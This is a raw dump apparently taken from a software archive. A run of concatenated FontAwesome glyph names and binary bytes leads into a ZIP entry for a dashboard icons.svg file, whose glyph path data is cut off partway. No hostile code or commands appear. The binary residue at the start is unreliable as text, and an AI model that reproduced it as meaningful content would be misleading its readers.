chevron_upchevron_downretweetshopping_cartfolder_closefolder_openresize_verticalresize_horizontal	bar_charttwitter_signfacebook_signcamera_retrokeycogscommentsthumbs_up_altthumbs_down_alt	star_halfheart_emptysignoutlinkedin_signpushpinexternal_linksignintrophygithub_sign
upload_altlemonphonecheck_emptybookmark_empty
phone_signtwitterfacebookgithubunlockcredit_cardrsshddbullhornbellcertificate
hand_right	hand_lefthand_up	hand_downcircle_arrow_leftcircle_arrow_rightcircle_arrow_upcircle_arrow_downglobewrenchtasksfilter	briefcase
fullscreengrouplinkcloudbeakercutcopy
paper_clipsave
sign_blankreorderulolstrikethrough	underlinetablemagictruck	pinterestpinterest_signgoogle_plus_signgoogle_plusmoney
caret_downcaret_up
caret_leftcaret_rightcolumnssort	sort_downsort_upenvelope_altlinkedinundolegal	dashboardcomment_altcomments_altboltsitemapumbrellapaste
light_bulbexchangecloud_downloadcloud_uploaduser_mdstethoscopesuitcasebell_altcoffeefoodfile_text_altbuildinghospital	ambulancemedkitfighter_jetbeerh_signf0fedouble_angle_leftdouble_angle_rightdouble_angle_updouble_angle_down
angle_leftangle_rightangle_up
angle_downdesktoplaptoptabletmobile_phonecircle_blank
quote_leftquote_rightspinnercirclereply
github_altfolder_close_altfolder_open_alt
expand_altcollapse_altsmilefrownmehgamepadkeyboardflag_altflag_checkeredterminalcode	reply_allstar_half_emptylocation_arrowcrop	code_forkunlink_279exclamationsuperscript	subscript_283puzzle_piece
microphonemicrophone_offshieldcalendar_emptyfire_extinguisherrocketmaxcdnchevron_sign_leftchevron_sign_rightchevron_sign_upchevron_sign_downhtml5css3anchor
unlock_altbullseyeellipsis_horizontalellipsis_vertical_303	play_signticketminus_sign_altcheck_minuslevel_up
level_down
check_sign	edit_sign_312
share_signcompasscollapsecollapse_top_317eurgbpusdinrjpyrubkrwbtcfile	file_textsort_by_alphabet_329sort_by_attributessort_by_attributes_altsort_by_ordersort_by_order_alt_334_335youtube_signyoutubexing	xing_signyoutube_playdropboxstackexchange	instagramflickradnf171bitbucket_signtumblrtumblr_signlong_arrow_downlong_arrow_uplong_arrow_leftlong_arrow_rightwindowsandroidlinuxdribbleskype
foursquaretrellofemalemalegittipsun_366archivebugvkweiborenren_372stack_exchange_374arrow_circle_alt_left_376dot_circle_alt_378vimeo_square_380plus_square_o_382_383_384_385_386_387_388_389uniF1A0f1a1_392_393f1a4_395_396_397_398_399_400f1ab_402_403_404uniF1B1_406_407_408_409_410_411_412_413_414_415_416_417_418_419uniF1C0uniF1C1_422_423_424_425_426_427_428_429_430_431_432_433_434uniF1D0uniF1D1uniF1D2_438_439uniF1D5uniF1D6uniF1D7_443_444_445_446_447_448_449uniF1E0_451_452_453_454_455_456_457_458_459_460_461_462_463_464uniF1F0_466_467f1f3_469_470_471_472_473_474_475_476f1fc_478_479_480_481_482_483_484_485_486_487_488_489_490_491_492_493_494f210_496f212_498_499_500_501_502_503_504_505_506_507_508_509venus_511_512_513_514_515_516_517_518_519_520_521_522_523_524_525_526_527_528_529_530_531_532_533_534_535_536_537_538_539_540_541_542_543_544_545_546_547_548_549_550_551_552_553_554_555_556_557_558_559_560_561_562_563_564_565_566_567_568_569f260f261_572f263_574_575_576_577_578_579_580_581_582_583_584_585_586_587_588_589_590_591_592_593_594_595_596_597_598f27euniF280uniF281_602_603_604uniF285uniF286_607_608_609_610_611_612_613_614_615_616_617_618_619_620_621_622_623_624_625_626_627_628_629uniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BBuniF2BCuniF2BDuniF2BEuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C6uniF2C7uniF2C8uniF2C9uniF2CAuniF2CBuniF2CCuniF2CDuniF2CEuniF2D0uniF2D1uniF2D2uniF2D3uniF2D4uniF2D5uniF2D6uniF2D7uniF2D8uniF2D9uniF2DAuniF2DBuniF2DCuniF2DDuniF2DEuniF2E0uniF2E1uniF2E2uniF2E3uniF2E4uniF2E5uniF2E6uniF2E7_698uniF2E9uniF2EAuniF2EBuniF2ECuniF2EDuniF2EE                                   =    O<0    1hPK     N\;_  !  inc/dashboard/css/fonts/icons.svgnu [        <?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg>
<metadata>
Created by FontForge 20120731 at Mon Oct 24 17:37:40 2016
 By ,,,
Copyright Dave Gandy 2016. All rights reserved.
</metadata>
<defs>
<font id="FontAwesome" horiz-adv-x="1536" >
  <font-face 
    font-family="FontAwesome"
    font-weight="400"
    font-stretch="normal"
    units-per-em="1792"
    panose-1="0 0 0 0 0 0 0 0 0 0"
    ascent="1536"
    descent="-256"
    bbox="-1.02083 -256.962 2304.6 1537.02"
    underline-thickness="0"
    underline-position="0"
    unicode-range="U+0020-F500"
  />
<missing-glyph horiz-adv-x="896" 
d="M224 112h448v1312h-448v-1312zM112 0v1536h672v-1536h-672z" />
    <glyph glyph-name=".notdef" horiz-adv-x="896" 
d="M224 112h448v1312h-448v-1312zM112 0v1536h672v-1536h-672z" />
    <glyph glyph-name=".null" horiz-adv-x="0" 
 />
    <glyph glyph-name="nonmarkingreturn" horiz-adv-x="597" 
 />
    <glyph glyph-name="space" unicode=" " horiz-adv-x="448" 
 />
    <glyph glyph-name="dieresis" unicode="&#xa8;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="copyright" unicode="&#xa9;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="registered" unicode="&#xae;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="acute" unicode="&#xb4;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="AE" unicode="&#xc6;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="Oslash" unicode="&#xd8;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="trademark" unicode="&#x2122;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="infinity" unicode="&#x221e;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="notequal" unicode="&#x2260;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="glass" unicode="&#xf000;" horiz-adv-x="1792" 
d="M1699 1350q0 -35 -43 -78l-632 -632v-768h320q26 0 45 -19t19 -45t-19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45t45 19h320v768l-632 632q-43 43 -43 78q0 23 18 36.5t38 17.5t43 4h1408q23 0 43 -4t38 -17.5t18 -36.5z" />
    <glyph glyph-name="music" unicode="&#xf001;" 
d="M1536 1312v-1120q0 -50 -34 -89t-86 -60.5t-103.5 -32t-96.5 -10.5t-96.5 10.5t-103.5 32t-86 60.5t-34 89t34 89t86 60.5t103.5 32t96.5 10.5q105 0 192 -39v537l-768 -237v-709q0 -50 -34 -89t-86 -60.5t-103.5 -32t-96.5 -10.5t-96.5 10.5t-103.5 32t-86 60.5t-34 89
t34 89t86 60.5t103.5 32t96.5 10.5q105 0 192 -39v967q0 31 19 56.5t49 35.5l832 256q12 4 28 4q40 0 68 -28t28 -68z" />
    <glyph glyph-name="search" unicode="&#xf002;" horiz-adv-x="1664" 
d="M1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1664 -128q0 -52 -38 -90t-90 -38q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5
t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z" />
    <glyph glyph-name="envelope" unicode="&#xf003;" horiz-adv-x="1792" 
d="M1664 32v768q-32 -36 -69 -66q-268 -206 -426 -338q-51 -43 -83 -67t-86.5 -48.5t-102.5 -24.5h-1h-1q-48 0 -102.5 24.5t-86.5 48.5t-83 67q-158 132 -426 338q-37 30 -69 66v-768q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1664 1083v11v13.5t-0.5 13
t-3 12.5t-5.5 9t-9 7.5t-14 2.5h-1472q-13 0 -22.5 -9.5t-9.5 -22.5q0 -168 147 -284q193 -152 401 -317q6 -5 35 -29.5t46 -37.5t44.5 -31.5t50.5 -27.5t43 -9h1h1q20 0 43 9t50.5 27.5t44.5 31.5t46 37.5t35 29.5q208 165 401 317q54 43 100.5 115.5t46.5 131.5z
M1792 1120v-1088q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="heart" unicode="&#xf004;" horiz-adv-x="1792" 
d="M896 -128q-26 0 -44 18l-624 602q-10 8 -27.5 26t-55.5 65.5t-68 97.5t-53.5 121t-23.5 138q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5q224 0 351 -124t127 -344q0 -221 -229 -450l-623 -600
q-18 -18 -44 -18z" />
    <glyph glyph-name="star" unicode="&#xf005;" horiz-adv-x="1664" 
d="M1664 889q0 -22 -26 -48l-363 -354l86 -500q1 -7 1 -20q0 -21 -10.5 -35.5t-30.5 -14.5q-19 0 -40 12l-449 236l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41t49 -41l225 -455
l502 -73q56 -9 56 -46z" />
    <glyph glyph-name="star_empty" unicode="&#xf006;" horiz-adv-x="1664" 
d="M1137 532l306 297l-422 62l-189 382l-189 -382l-422 -62l306 -297l-73 -421l378 199l377 -199zM1664 889q0 -22 -26 -48l-363 -354l86 -500q1 -7 1 -20q0 -50 -41 -50q-19 0 -40 12l-449 236l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500
l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41t49 -41l225 -455l502 -73q56 -9 56 -46z" />
    <glyph glyph-name="user" unicode="&#xf007;" horiz-adv-x="1280" 
d="M1280 137q0 -109 -62.5 -187t-150.5 -78h-854q-88 0 -150.5 78t-62.5 187q0 85 8.5 160.5t31.5 152t58.5 131t94 89t134.5 34.5q131 -128 313 -128t313 128q76 0 134.5 -34.5t94 -89t58.5 -131t31.5 -152t8.5 -160.5zM1024 1024q0 -159 -112.5 -271.5t-271.5 -112.5
t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="film" unicode="&#xf008;" horiz-adv-x="1920" 
d="M384 -64v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM384 320v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM384 704v128q0 26 -19 45t-45 19h-128
q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1408 -64v512q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-512q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM384 1088v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45
t45 -19h128q26 0 45 19t19 45zM1792 -64v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1408 704v512q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-512q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM1792 320v128
q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1792 704v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1792 1088v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19
t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1920 1248v-1344q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1344q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="th_large" unicode="&#xf009;" horiz-adv-x="1664" 
d="M768 512v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM768 1280v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM1664 512v-384q0 -52 -38 -90t-90 -38
h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM1664 1280v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90z" />
    <glyph glyph-name="th" unicode="&#xf00a;" horiz-adv-x="1792" 
d="M512 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 288v-192q0 -40 -28 -68t-68 -28h-320
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28
h320q40 0 68 -28t28 -68zM1792 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 800v-192
q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68z" />
    <glyph glyph-name="th_list" unicode="&#xf00b;" horiz-adv-x="1792" 
d="M512 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 288v-192q0 -40 -28 -68t-68 -28h-960
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h960q40 0 68 -28t28 -68zM512 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 800v-192q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v192q0 40 28 68t68 28
h960q40 0 68 -28t28 -68zM1792 1312v-192q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h960q40 0 68 -28t28 -68z" />
    <glyph glyph-name="ok" unicode="&#xf00c;" horiz-adv-x="1792" 
d="M1671 970q0 -40 -28 -68l-724 -724l-136 -136q-28 -28 -68 -28t-68 28l-136 136l-362 362q-28 28 -28 68t28 68l136 136q28 28 68 28t68 -28l294 -295l656 657q28 28 68 28t68 -28l136 -136q28 -28 28 -68z" />
    <glyph glyph-name="remove" unicode="&#xf00d;" horiz-adv-x="1408" 
d="M1298 214q0 -40 -28 -68l-136 -136q-28 -28 -68 -28t-68 28l-294 294l-294 -294q-28 -28 -68 -28t-68 28l-136 136q-28 28 -28 68t28 68l294 294l-294 294q-28 28 -28 68t28 68l136 136q28 28 68 28t68 -28l294 -294l294 294q28 28 68 28t68 -28l136 -136q28 -28 28 -68
t-28 -68l-294 -294l294 -294q28 -28 28 -68z" />
    <glyph glyph-name="zoom_in" unicode="&#xf00e;" horiz-adv-x="1664" 
d="M1024 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-224v-224q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v224h-224q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h224v224q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5v-224h224
q13 0 22.5 -9.5t9.5 -22.5zM1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1664 -128q0 -53 -37.5 -90.5t-90.5 -37.5q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5
t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z" />
    <glyph glyph-name="zoom_out" unicode="&#xf010;" horiz-adv-x="1664" 
d="M1024 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-576q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h576q13 0 22.5 -9.5t9.5 -22.5zM1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5z
M1664 -128q0 -53 -37.5 -90.5t-90.5 -37.5q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z
" />
    <glyph glyph-name="off" unicode="&#xf011;" 
d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61t-298 61t-245 164t-164 245t-61 298q0 182 80.5 343t226.5 270q43 32 95.5 25t83.5 -50q32 -42 24.5 -94.5t-49.5 -84.5q-98 -74 -151.5 -181t-53.5 -228q0 -104 40.5 -198.5t109.5 -163.5t163.5 -109.5
t198.5 -40.5t198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5q0 121 -53.5 228t-151.5 181q-42 32 -49.5 84.5t24.5 94.5q31 43 84 50t95 -25q146 -109 226.5 -270t80.5 -343zM896 1408v-640q0 -52 -38 -90t-90 -38t-90 38t-38 90v640q0 52 38 90t90 38t90 -38t38 -90z" />
    <glyph glyph-name="signal" unicode="&#xf012;" horiz-adv-x="1792" 
d="M256 96v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM640 224v-320q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v320q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1024 480v-576q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23
v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1408 864v-960q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 1376v-1472q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v1472q0 14 9 23t23 9h192q14 0 23 -9t9 -23z" />
    <glyph glyph-name="cog" unicode="&#xf013;" 
d="M1024 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1536 749v-222q0 -12 -8 -23t-20 -13l-185 -28q-19 -54 -39 -91q35 -50 107 -138q10 -12 10 -25t-9 -23q-27 -37 -99 -108t-94 -71q-12 0 -26 9l-138 108q-44 -23 -91 -38
q-16 -136 -29 -186q-7 -28 -36 -28h-222q-14 0 -24.5 8.5t-11.5 21.5l-28 184q-49 16 -90 37l-141 -107q-10 -9 -25 -9q-14 0 -25 11q-126 114 -165 168q-7 10 -7 23q0 12 8 23q15 21 51 66.5t54 70.5q-27 50 -41 99l-183 27q-13 2 -21 12.5t-8 23.5v222q0 12 8 23t19 13
l186 28q14 46 39 92q-40 57 -107 138q-10 12 -10 24q0 10 9 23q26 36 98.5 107.5t94.5 71.5q13 0 26 -10l138 -107q44 23 91 38q16 136 29 186q7 28 36 28h222q14 0 24.5 -8.5t11.5 -21.5l28 -184q49 -16 90 -37l142 107q9 9 24 9q13 0 25 -10q129 -119 165 -170q7 -8 7 -22
q0 -12 -8 -23q-15 -21 -51 -66.5t-54 -70.5q26 -50 41 -98l183 -28q13 -2 21 -12.5t8 -23.5z" />
    <glyph glyph-name="trash" unicode="&#xf014;" horiz-adv-x="1408" 
d="M512 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM768 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1024 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576
q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1152 76v948h-896v-948q0 -22 7 -40.5t14.5 -27t10.5 -8.5h832q3 0 10.5 8.5t14.5 27t7 40.5zM480 1152h448l-48 117q-7 9 -17 11h-317q-10 -2 -17 -11zM1408 1120v-64q0 -14 -9 -23t-23 -9h-96v-948q0 -83 -47 -143.5t-113 -60.5h-832
q-66 0 -113 58.5t-47 141.5v952h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h309l70 167q15 37 54 63t79 26h320q40 0 79 -26t54 -63l70 -167h309q14 0 23 -9t9 -23z" />
    <glyph glyph-name="home" unicode="&#xf015;" horiz-adv-x="1664" 
d="M1408 544v-480q0 -26 -19 -45t-45 -19h-384v384h-256v-384h-384q-26 0 -45 19t-19 45v480q0 1 0.5 3t0.5 3l575 474l575 -474q1 -2 1 -6zM1631 613l-62 -74q-8 -9 -21 -11h-3q-13 0 -21 7l-692 577l-692 -577q-12 -8 -24 -7q-13 2 -21 11l-62 74q-8 10 -7 23.5t11 21.5
l719 599q32 26 76 26t76 -26l244 -204v195q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-408l219 -182q10 -8 11 -21.5t-7 -23.5z" />
    <glyph glyph-name="file_alt" unicode="&#xf016;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
" />
    <glyph glyph-name="time" unicode="&#xf017;" 
d="M896 992v-448q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="road" unicode="&#xf018;" horiz-adv-x="1920" 
d="M1111 540v4l-24 320q-1 13 -11 22.5t-23 9.5h-186q-13 0 -23 -9.5t-11 -22.5l-24 -320v-4q-1 -12 8 -20t21 -8h244q12 0 21 8t8 20zM1870 73q0 -73 -46 -73h-704q13 0 22 9.5t8 22.5l-20 256q-1 13 -11 22.5t-23 9.5h-272q-13 0 -23 -9.5t-11 -22.5l-20 -256
q-1 -13 8 -22.5t22 -9.5h-704q-46 0 -46 73q0 54 26 116l417 1044q8 19 26 33t38 14h339q-13 0 -23 -9.5t-11 -22.5l-15 -192q-1 -14 8 -23t22 -9h166q13 0 22 9t8 23l-15 192q-1 13 -11 22.5t-23 9.5h339q20 0 38 -14t26 -33l417 -1044q26 -62 26 -116z" />
    <glyph glyph-name="download_alt" unicode="&#xf019;" horiz-adv-x="1664" 
d="M1280 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 416v-320q0 -40 -28 -68t-68 -28h-1472q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h465l135 -136
q58 -56 136 -56t136 56l136 136h464q40 0 68 -28t28 -68zM1339 985q17 -41 -14 -70l-448 -448q-18 -19 -45 -19t-45 19l-448 448q-31 29 -14 70q17 39 59 39h256v448q0 26 19 45t45 19h256q26 0 45 -19t19 -45v-448h256q42 0 59 -39z" />
    <glyph glyph-name="download" unicode="&#xf01a;" 
d="M1120 608q0 -12 -10 -24l-319 -319q-11 -9 -23 -9t-23 9l-320 320q-15 16 -7 35q8 20 30 20h192v352q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-352h192q14 0 23 -9t9 -23zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273
t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="upload" unicode="&#xf01b;" 
d="M1118 660q-8 -20 -30 -20h-192v-352q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v352h-192q-14 0 -23 9t-9 23q0 12 10 24l319 319q11 9 23 9t23 -9l320 -320q15 -16 7 -35zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198
t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="inbox" unicode="&#xf01c;" 
d="M1023 576h316q-1 3 -2.5 8.5t-2.5 7.5l-212 496h-708l-212 -496q-1 -3 -2.5 -8.5t-2.5 -7.5h316l95 -192h320zM1536 546v-482q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v482q0 62 25 123l238 552q10 25 36.5 42t52.5 17h832q26 0 52.5 -17t36.5 -42l238 -552
q25 -61 25 -123z" />
    <glyph glyph-name="play_circle" unicode="&#xf01d;" 
d="M1184 640q0 -37 -32 -55l-544 -320q-15 -9 -32 -9q-16 0 -32 8q-32 19 -32 56v640q0 37 32 56q33 18 64 -1l544 -320q32 -18 32 -55zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="repeat" unicode="&#xf01e;" 
d="M1536 1280v-448q0 -26 -19 -45t-45 -19h-448q-42 0 -59 40q-17 39 14 69l138 138q-148 137 -349 137q-104 0 -198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5q119 0 225 52t179 147q7 10 23 12q15 0 25 -9
l137 -138q9 -8 9.5 -20.5t-7.5 -22.5q-109 -132 -264 -204.5t-327 -72.5q-156 0 -298 61t-245 164t-164 245t-61 298t61 298t164 245t245 164t298 61q147 0 284.5 -55.5t244.5 -156.5l130 129q29 31 70 14q39 -17 39 -59z" />
    <glyph glyph-name="refresh" unicode="&#xf021;" 
d="M1511 480q0 -5 -1 -7q-64 -268 -268 -434.5t-478 -166.5q-146 0 -282.5 55t-243.5 157l-129 -129q-19 -19 -45 -19t-45 19t-19 45v448q0 26 19 45t45 19h448q26 0 45 -19t19 -45t-19 -45l-137 -137q71 -66 161 -102t187 -36q134 0 250 65t186 179q11 17 53 117
q8 23 30 23h192q13 0 22.5 -9.5t9.5 -22.5zM1536 1280v-448q0 -26 -19 -45t-45 -19h-448q-26 0 -45 19t-19 45t19 45l138 138q-148 137 -349 137q-134 0 -250 -65t-186 -179q-11 -17 -53 -117q-8 -23 -30 -23h-199q-13 0 -22.5 9.5t-9.5 22.5v7q65 268 270 434.5t480 166.5
q146 0 284 -55.5t245 -156.5l130 129q19 19 45 19t45 -19t19 -45z" />
    <glyph glyph-name="list_alt" unicode="&#xf022;" horiz-adv-x="1792" 
d="M384 352v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 608v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
